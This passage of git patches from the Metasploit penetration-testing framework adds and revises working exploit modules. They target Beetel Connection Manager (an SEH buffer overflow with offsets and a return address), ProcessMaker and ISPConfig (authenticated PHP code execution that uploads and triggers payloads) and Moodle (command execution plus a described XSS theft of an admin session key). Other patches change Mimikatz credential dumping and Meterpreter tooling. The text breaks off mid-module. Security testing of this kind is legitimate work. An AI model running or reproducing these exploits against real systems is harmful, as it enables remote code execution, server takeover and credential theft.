a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -15,16 +13,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info(info, - 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', - 'Description' => %q{ + 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', + 'Description' => %q{ This module will collect cleartext Single Sign On credentials from the Local Security Authority using the Mimikatz extension. Blank passwords will not be stored in the database. }, - 'License' => MSF_LICENSE, - 'Author' => ['Ben Campbell '], - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter' ] + 'License' => MSF_LICENSE, + 'Author' => ['Ben Campbell '], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter' ] )) end From 333a0d5820818fa226fdd6490312b85d2c89c141 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 28 Oct 2013 18:43:21 -0500 Subject: [PATCH 354/409] chmod -x cmdstager_printf.rb --- lib/msf/core/exploit/cmdstager_printf.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 lib/msf/core/exploit/cmdstager_printf.rb diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb old mode 100755 new mode 100644 From ea7bba4035ca0bf0261893fb1814cee0267f438a Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 28 Oct 2013 22:48:24 -0500 Subject: [PATCH 355/409] Add Beetel Connection Manager NetConfig.ini BOF --- .../fileformat/beetel_netconfig_ini_bof.rb | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb new file mode 100644 index 0000000000..716db90c1c --- /dev/null +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class Metasploit4 < Msf::Exploit + + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow", + 'Description' => %q{ + This module exploits a stack-based buffer overflow in the UserName + parameter in the NetConfig.ini file for Beetel Connection Manager. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + "metacom", # Vuln/PoC + "wvu" # Metasploit + ], + 'References' => [ + ["OSVDB", "98714"], + ["EDB", "28969"] + ], + 'Payload' => { + "Space" => 1504, + "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20", + "DisableNops" => true + }, + 'Platform' => "win", + 'Targets' => [ + ["PCW_BTLINDV1.0.0B04 (WinXP SP3)", { + "Offset" => 468, + "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) + }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 12 2013", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]), + OptString.new("SECTION", [true, "Section name", "Edit Me"]) + ], self.class) + end + + def exploit + section = datastore["SECTION"] + + sploit = "[#{section}]\r\n" \ + "UserName=#{shell_popper}" + + file_create(sploit) + end + + def shell_popper + junk = rand_text(target["Offset"]) + seh = generate_seh_record(target.ret) + jump = Rex::Arch::X86.jmp_short(66) + padding = rand_text(66) + + junk << seh << jump << padding << payload.encoded + end + +end From 606411de81b253c96e41092c2f23398d8f7f5397 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Oct 2013 15:13:32 +1000 Subject: [PATCH 356/409] Fix mimikatz error when password is nil In some cases the password value that comes out of mimikatz results is `nil`, instead of an empty string. This fixes this so that if the string is `nil` is falls back to an empty string, resulting in the call to `gsub` working instead of failing. --- .../post/meterpreter/ui/console/command_dispatcher/mimikatz.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index a16f0543be..9ecdaddd51 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -106,7 +106,7 @@ class Console::CommandDispatcher::Mimikatz ) accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")] end print_line table.to_s From 3eed800b85445238603485d4a12ab5eb2492cfc8 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 Oct 2013 23:27:29 +1030 Subject: [PATCH 357/409] Add ProcessMaker Open Source Authenticated PHP Code Execution --- .../exploits/multi/http/processmaker_exec.rb | 214 ++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 modules/exploits/multi/http/processmaker_exec.rb diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb new file mode 100644 index 0000000000..a58c8aaa4a --- /dev/null +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution", + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in the + 'neoclassic' skin for ProcessMaker Open Source which allows any + authenticated user to execute PHP code. + + The vulnerable skin is installed by default in version 2.x and + cannot be removed via the web interface. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL' => 'http://bugs.processmaker.com/view.php?id=13436'] + ], + 'Payload' => + { + 'Space' => 8190, # HTTP POST + 'DisableNops'=> true, + 'BadChars' => "\x00" + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + # Tested on: + # * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23 + # * Debian Linux - ProcessMaker Open Source version 2.0.45 + ['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }] + ], + 'Privileged' => false, # Privileged on Windows but not on *nix targets + 'DisclosureDate' => 'Oct 24 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']), + OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']) + ], self.class) + end + + # + # Clean up on new session + # + def on_new_session(client) + print_warning("#{peer} - Deleting #{@fname}") + if client.type == "meterpreter" + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.fs.file.rm(@fname) + else + client.shell_command_token("rm #{@fname}") + end + end + + # + # Send command for execution + # + def execute_command(cmd, opts = { :php_function => 'system' } ) + # random vulnerable path # confirmed in versions 2.0.23 to 2.5.1 + vuln_url = [ + '/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php', + '/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php', + '/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php' + ].sample + + # shuffle POST parameters + vars_post = Hash[{ + 'action' => opts[:php_function], + 'params' => cmd + }.to_a.shuffle] + + # send payload + vprint_status("#{peer} - Attempting to execute: #{cmd}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, vuln_url), + 'cookie' => @cookie, + 'vars_post' => vars_post + }) + res + end + + # + # Login + # + def login(user, pass) + # shuffle POST parameters + vars_post = Hash[{ + 'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'), + 'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'), + }.to_a.shuffle] + + # send login request + print_status("#{peer} - Authenticating as user '#{user}'") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"), + 'cookie' => @cookie, + 'vars_post' => vars_post + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + print_error("#{peer} - Connection failed") + end + if res and res.code == 200 and res.body =~ /Loading styles and images/ + print_good("#{peer} - Authenticated as user '#{user}'") + else + fail_with(Failure::NoAccess, "#{peer} - Authenticating as user '#{user}' failed") + end + end + + # + # Check credentials are valid and confirm command execution + # + def check + # login + @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" + login(datastore['USERNAME'], datastore['PASSWORD']) + + # send check + fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) + print_status("#{peer} - Sending check") + begin + res = execute_command("echo #{fingerprint}") + if res and res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + elsif res + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + end + + # + # Write payload to filesystem + # + def upload + # Random PHP function for command execution + php_function = [ + 'exec', + 'shell_exec', + 'passthru', + 'system' + ].sample + + # upload payload + code = "" + print_status("#{peer} - Sending payload '#{@fname}' (#{code.length} bytes)") + begin + res = execute_command("echo \"#{code}\">#{@fname}", { :php_function => php_function } ) + if res and res.code == 200 + print_good("#{peer} - Payload sent successfully") + register_files_for_cleanup(@fname) + else + fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + end + end + + def exploit + # login + @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" + login(datastore['USERNAME'], datastore['PASSWORD']) + + # upload payload + @fname = "#{rand_text_alphanumeric(rand(10)+10)}.php" + upload + + # execute payload + print_status("#{peer} - Retrieving file '#{@fname}'") + send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")}) + end +end + +# +# Source +# +=begin appFolder/appFolderAjax.php +22:if (($_REQUEST['action']) != 'rename') { +23: $functionName = $_REQUEST ['action']; +24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array (); +26: $functionName ($functionParams); +=end + +=begin cases/casesStartPage_Ajax.php +16:$functionName = $_REQUEST['action']; +18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array (); +19:$functionName( $functionParams ); +=end + +=begin cases/cases_SchedulerGetPlugins.php +16:$functionName = $_REQUEST['action']; +18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array (); +19:$functionName( $functionParams ); +=end From c4c171d63f96ac3866364f3632fdd8a816bdf862 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 29 Oct 2013 09:53:39 -0500 Subject: [PATCH 358/409] Clean processmaker_exec --- .../exploits/multi/http/processmaker_exec.rb | 39 ++++++++----------- 1 file changed, 16 insertions(+), 23 deletions(-) diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index a58c8aaa4a..a507b478c6 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -15,12 +15,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution", 'Description' => %q{ - This module exploits a PHP code execution vulnerability in the + This module exploits a PHP code execution vulnerability in the 'neoclassic' skin for ProcessMaker Open Source which allows any - authenticated user to execute PHP code. - - The vulnerable skin is installed by default in version 2.x and - cannot be removed via the web interface. + authenticated user to execute PHP code. The vulnerable skin is + installed by default in version 2.x and cannot be removed via + the web interface. }, 'License' => MSF_LICENSE, 'Author' => 'Brendan Coles ', @@ -54,19 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - # - # Clean up on new session - # - def on_new_session(client) - print_warning("#{peer} - Deleting #{@fname}") - if client.type == "meterpreter" - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") - client.fs.file.rm(@fname) - else - client.shell_command_token("rm #{@fname}") - end - end - # # Send command for execution # @@ -116,11 +102,14 @@ class Metasploit3 < Msf::Exploit::Remote }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE print_error("#{peer} - Connection failed") + return false end if res and res.code == 200 and res.body =~ /Loading styles and images/ print_good("#{peer} - Authenticated as user '#{user}'") + return true else - fail_with(Failure::NoAccess, "#{peer} - Authenticating as user '#{user}' failed") + print_error("#{peer} - Authenticating as user '#{user}' failed") + return false end end @@ -130,7 +119,9 @@ class Metasploit3 < Msf::Exploit::Remote def check # login @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" - login(datastore['USERNAME'], datastore['PASSWORD']) + unless login(datastore['USERNAME'], datastore['PASSWORD']) + return Exploit::CheckCode::Unknown + end # send check fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) @@ -140,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable elsif res - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE print_error("#{peer} - Connection failed") @@ -172,14 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - fail_with(Failure::Unreachable, "#{peer} - Connection failed") + fail_with(Failure::Unreachable, "#{peer} - Connection failed") end end def exploit # login @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" - login(datastore['USERNAME'], datastore['PASSWORD']) + unless login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end # upload payload @fname = "#{rand_text_alphanumeric(rand(10)+10)}.php" From e368cb0a5ed3e11e9b99b5af315879e02be62dc2 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 29 Oct 2013 10:45:14 -0500 Subject: [PATCH 359/409] Add Win7 SP1 to WinXP SP3 target --- modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 716db90c1c..9e01ab45c6 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -35,7 +35,7 @@ class Metasploit4 < Msf::Exploit }, 'Platform' => "win", 'Targets' => [ - ["PCW_BTLINDV1.0.0B04 (WinXP SP3)", { + ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", { "Offset" => 468, "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) }] From 5af42f2c28efe4561dcbff35ac0801042988bbb1 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 29 Oct 2013 11:46:10 -0500 Subject: [PATCH 360/409] Add short comment on why the padding is necessary --- modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 9e01ab45c6..5cb90b27a3 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -64,7 +64,7 @@ class Metasploit4 < Msf::Exploit junk = rand_text(target["Offset"]) seh = generate_seh_record(target.ret) jump = Rex::Arch::X86.jmp_short(66) - padding = rand_text(66) + padding = rand_text(66) # Pad past buffer corruption junk << seh << jump << padding << payload.encoded end From 9f81aeb4adaabdea9e8a92d5f10195690bf1690d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 29 Oct 2013 14:55:16 -0500 Subject: [PATCH 361/409] Fix style --- .../fileformat/beetel_netconfig_ini_bof.rb | 60 +++++++++++-------- 1 file changed, 34 insertions(+), 26 deletions(-) diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 5cb90b27a3..b67fc1bf3b 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -14,35 +14,43 @@ class Metasploit4 < Msf::Exploit def initialize(info = {}) super(update_info(info, - 'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow", + 'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow", 'Description' => %q{ - This module exploits a stack-based buffer overflow in the UserName - parameter in the NetConfig.ini file for Beetel Connection Manager. + This module exploits a stack-based buffer overflow on Beetel Connection Manager. The + vulnerability exists in the parising of the UserName parameter in the NetConfig.ini + file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP + SP3 and Windows 7 SP1.b }, - 'License' => MSF_LICENSE, - 'Author' => [ - "metacom", # Vuln/PoC - "wvu" # Metasploit - ], - 'References' => [ - ["OSVDB", "98714"], - ["EDB", "28969"] - ], - 'Payload' => { - "Space" => 1504, - "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20", - "DisableNops" => true - }, - 'Platform' => "win", - 'Targets' => [ - ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", { - "Offset" => 468, - "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) - }] - ], - 'Privileged' => false, + 'License' => MSF_LICENSE, + 'Author' => + [ + "metacom", # Vuln/PoC + "wvu" # Metasploit + ], + 'References' => + [ + [ "OSVDB", "98714" ], + [ "EDB", "28969" ] + ], + 'Payload' => + { + "Space" => 1504, + "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20", + "DisableNops" => true + }, + 'Platform' => "win", + 'Targets' => + [ + ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", + { + "Offset" => 468, + "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0) + } + ] + ], + 'Privileged' => false, 'DisclosureDate' => "Oct 12 2013", - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) register_options([ From 2fbac9b12979ec6253abd729d362915a238dcfbe Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 30 Oct 2013 18:40:51 +1000 Subject: [PATCH 362/409] Add `getproxy` command This command pulls out system proxy details on windows machines. --- .../extensions/stdapi/net/config.rb | 18 ++++++++++++++++++ .../post/meterpreter/extensions/stdapi/tlv.rb | 6 ++++++ .../console/command_dispatcher/stdapi/net.rb | 10 ++++++++++ 3 files changed, 34 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index 2e110e1dce..5429250070 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -231,6 +231,24 @@ class Config return true end + # + # Get's the current proxy configuration + # + def get_proxy_config() + request = Packet.create_request('stdapi_net_config_get_proxy') + + response = client.send_request(request) + + proxy_config = { + :autodetect => response.get_tlv_value(TLV_TYPE_PROXY_CFG_AUTODETECT), + :autoconfigurl => response.get_tlv_value(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL), + :proxy => response.get_tlv_value(TLV_TYPE_PROXY_CFG_PROXY), + :proxybypass => response.get_tlv_value(TLV_TYPE_PROXY_CFG_PROXYBYPASS) + } + + return proxy_config + end + protected attr_accessor :client # :nodoc: diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index ee61e84c7e..130bc554a8 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -69,6 +69,12 @@ TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 # Resolve TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 +# Proxy configuration +TLV_TYPE_PROXY_CFG_AUTODETECT = TLV_META_TYPE_BOOL | 1445 +TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING | 1446 +TLV_TYPE_PROXY_CFG_PROXY = TLV_META_TYPE_STRING | 1447 +TLV_TYPE_PROXY_CFG_PROXYBYPASS = TLV_META_TYPE_STRING | 1448 + # Socket TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 448a1b184a..db4ffd8a4f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -62,6 +62,7 @@ class Console::CommandDispatcher::Stdapi::Net "portfwd" => "Forward a local port to a remote service", "arp" => "Display the host ARP cache", "netstat" => "Display the network connections", + "getproxy" => "Display the current proxy configuration", } reqs = { "ipconfig" => [ "stdapi_net_config_get_interfaces" ], @@ -78,6 +79,7 @@ class Console::CommandDispatcher::Stdapi::Net "portfwd" => [ ], "arp" => [ "stdapi_net_config_get_arp_table" ], "netstat" => [ "stdapi_net_config_get_netstat" ], + "getproxy" => [ "stdapi_net_config_get_proxy" ], } all.delete_if do |cmd, desc| @@ -414,6 +416,14 @@ class Console::CommandDispatcher::Stdapi::Net print @@portfwd_opts.usage end + def cmd_getproxy + p = client.net.config.get_proxy_config() + print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" ) + print_line( "Auto config URL : #{p[:autoconfigurl]}" ) + print_line( "Proxy URL : #{p[:proxy]}" ) + print_line( "Proxy Bypass : #{p[:proxybypass]}" ) + end + protected # From 5b7694776738d29a2bc752d29e6f3cbcc2aa93a8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 10:25:48 -0500 Subject: [PATCH 363/409] Add a few more modules. --- .../exploits/multi/http/ispconfig_php_exec.rb | 134 ++++++++++++ .../exploits/multi/http/moodle_cmd_exec.rb | 162 ++++++++++++++ .../exploits/multi/http/nas4free_php_exec.rb | 128 +++++++++++ modules/exploits/multi/http/openbravo_xxe.rb | 118 ++++++++++ .../multi/http/openmediavault_cmd_exec.rb | 94 ++++++++ .../exploits/multi/http/vtiger_php_exec.rb | 127 +++++++++++ .../exploits/multi/http/zabbix_script_exec.rb | 203 ++++++++++++++++++ 7 files changed, 966 insertions(+) create mode 100644 modules/exploits/multi/http/ispconfig_php_exec.rb create mode 100644 modules/exploits/multi/http/moodle_cmd_exec.rb create mode 100644 modules/exploits/multi/http/nas4free_php_exec.rb create mode 100644 modules/exploits/multi/http/openbravo_xxe.rb create mode 100644 modules/exploits/multi/http/openmediavault_cmd_exec.rb create mode 100644 modules/exploits/multi/http/vtiger_php_exec.rb create mode 100644 modules/exploits/multi/http/zabbix_script_exec.rb diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb new file mode 100644 index 0000000000..a40953a240 --- /dev/null +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution', + 'Description' => %q{ + ISPConfig allows an authenticated administrator to export language settings into a PHP script + which is intended to be reuploaded later to restore language settings. This feature + can be abused to run aribtrary PHP code remotely on the ISPConfig server. + + This module was tested against version 3.0.5.2. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3629'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'BadChars' => "&\n=+%", + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + register_options( + [ + OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']), + OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es']) + ], self.class) + end + + def check + end + + def lng + datastore['LANGUAGE'] + end + + def exploit + + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + if !init or init.code != 200 + fail_with("Error getting initial page.") + end + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'passwort' => datastore["PASSWORD"], + 's_mod' => 'login', + 's_pg' => 'index' + } + + print_status("Authenticating as user: " << datastore["USERNAME"]) + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/content.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 200 + fail_with("Error authenticating.") + end + + sess = login.get_cookies + fname = rand_text_alphanumeric(rand(10)+6) + '.lng' + php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n" + php << "--|global|#{lng}|#{lng}.lng\n" + php << "\n" + php << "--|mail|#{lng}|#{lng}.lng\n" + php << "" + + data = Rex::MIME::Message.new + data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"") + data.add_part('1', nil, nil, 'form-data; name="overwrite"') + data.add_part('1', nil, nil, 'form-data; name="ignore_version"') + data.add_part('', nil, nil, 'form-data; name="id"') + + data_post = data.to_s + + print_status("Sending payload") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => sess + }) + + post = { + 'lng_select' => 'es' + } + + print_status("Triggering payload...") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'), + 'vars_post' => post, + 'cookie' => sess + }) + end +end diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb new file mode 100644 index 0000000000..1befde8ea5 --- /dev/null +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Moodle Remote Command Execution', + 'Description' => %q{ + Moodle allows an authenticated user to define spellcheck settings via the web interface. + The user can update the spellcheck mechanism to point to a system-installed aspell binary. + By updating the path for the spellchecker to an arbitrary command, an attacker can run + arbitrary commands in the context of the web application upon spellchecking requests. + + This module also allows an attacker to leverage another privilege escalation vuln. + Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey + and use this to escalate privileges to that of an admin, allowing the module to pop a shell + as a previously unprivileged authenticated user. + + This module was tested against Moodle version 2.5.2 and 2.2.3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['URL', 'http://www.exploit-db.com/exploits/28174/'], #xss vuln allowing sesskey of admins to be stolen + ['CVE', '2013-3630'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), + OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), + OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) + ], self.class) + end + + def exploit + init = 